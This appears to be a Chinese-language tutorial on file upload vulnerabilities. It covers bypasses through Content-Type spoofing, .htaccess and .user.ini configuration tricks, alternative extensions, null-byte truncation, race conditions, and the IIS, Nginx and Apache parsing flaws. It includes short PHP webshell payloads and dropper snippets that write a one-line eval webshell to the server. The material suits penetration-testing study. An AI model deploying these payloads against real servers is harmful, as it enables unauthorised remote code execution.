文件上传漏洞

判断流程

image-20221025120124311

image-20221025120059224

绕过方式:

客户端js检测绕过攻击

  • 抓包修改后缀
  • 更改客户端js

文件类型绕过

Content-Type类型改为:image/jpeg

后缀绕过

.htaccess

黑名单无过滤.htaccess上传.htaccess内容为:

1
2
3
4
5
6
7
8
#能够解析.php .phtml .phps .php5 .pht
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
#就是在upload目录下匹配shell.jpg的文件并以php文件执行
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
#全部解析
SetHandler application/x-httpd-php

.user.ini

借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell

1
auto_prepend_file=1.png

user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
条件:
服务器脚本语言为PHP
对应目录下面有可执行的php文件,如index.php
服务器使用CGI/FastCGI模式

详情见

常用绕过后缀

1
2
3
4
5
6
7
8
PHP:
php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf

%00截断

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测

利用条件

1
2
3
4
5
1.php版本<5.3.4(不包括5.3.4)
2.php开启magic_quotes_gpc,即Off,php.ini配置如下:
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc =Off
3.数据包中必须含有上传后文件的目录情况才可以使用

错误使用

在文件名后直接%00截断,是错误的例如:shell.php%00test.jpg,截断后提取的后缀还是.php

gaeehsrbg

正确路径使用

为什么修改path才可以,因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名,那么攻击者修改了path以后的拼接结果为:uploads/shell.php%00/2018051413370000.jpg,移动文件的时候会将文件保存为uploads/shell.php

%00和%00(urldecode)

%00(urldecode)

需要urldecode操作,原因在于上传的表单中有enctype的属性,并且需要enctype="multipart/form-data" (不对表单中数据进行编码),path大多数都是存放在表单中的,因此需要在数据包中进行urldecode操作使%00变成字符串结束符号。

%00

因为path也可以存放在URL或者Cookie中,而在提交数据的时候,浏览器会对数据做一次urldecode的操作,而到服务端,会对数据进行一次urldecode的操作,因此如果path在非enctype=multipart/form-data的表单中或URL or Cookie中的时候,就可以直接写%00不需要进行URLdecode操作,让服务端对%00进行URL解码即可。

内容过滤

过滤关键字

短标签,绕过php

1
2
3
<?= eval($_POST[1]);?>
<? eval($_POST[1])?>
<% eval($_POST[1]);%>

竞争条件

检查上传的文件是否包含WebShell脚本,如果包含就删除。上传成功和删除文件存在时间差。

先上传webshell文件10.php 10.php生成新的脚本shell.php

1
2
3
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a]) ?>');
?>

漏洞在系统中的差异

常用的web容器有IIS、Tomcat、Nginx、Apache等

IIS 5.x/6.0解析漏洞

1
2
3
4
5
6
1、当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件。例如如下:
漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg。
xx.jpg的内容可以为一段合法的asp脚本文件。
2、服务器默认不解析”;“以后的内容,导致xx.asp;.jpg被解析成xx.asp
漏洞文件利用形式:www.xxx.com/xx.asp;.jpg
xx.jpg的内容可以为一段合法的asp脚本文件。

漏洞产生的原因参考详细文章内容:https://www.cnblogs.com/l1pe1/p/9210094.html

可以理解为的检测流程为:

1
2
3
4
www.xxx.com/xxx.asp;xxx.jpg
N1:从头部查找查找"."号,获得".asp;xxxx.jpg"
N2:查找";"号,如果有则内存截断
N3:查找"/",如果有则内存截断

因此,.asp将最终被保存下来,IIS6只简单地根据扩展名来识别,所以从脚本映射表中里查找脚本与扩展名对比,并利用asp.dll来解析。导致最终的问题产生。

对于此问题,微软并不认为这是一个漏洞,同样也没推出IIS6.0解析漏洞的补丁。因此在IIS6.0的网站下,此问题仍然可以尝试是否存在。

Nginx 解析漏洞

在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。为什么是由于PHP-CGI的原因呢,因为在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的,当URL中有不存在的文件时,PHP就会默认向前解析。

普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。访问 www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP-CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAMEphpinfo.jpg,而1.phpPATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:

1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php

Apache 解析漏洞

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

1
www.xxxx.com/apache.php.bbb.aaa

Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。

那么为什么会产生此问题原因,在Apache的官方网站上,有一句这么关于“extension”的解释:

1
2
3
地址:http://httpd.apache.org/docs/current/mod/directive-dict.html
extension
In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.

通过这个解释可以看出来,Apache允许文件有多个后缀名,并会按照第一个点来分析文件后缀,例如file.html.en。Apache按照每个点来分割后缀名,因此此文件名为.html.en。由于en后缀不被识别,便继续向前解析。

另外对于Apache解析漏洞的正确说法应该是,使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。而是否解析的后缀名在文件mime.types中查找是否出现。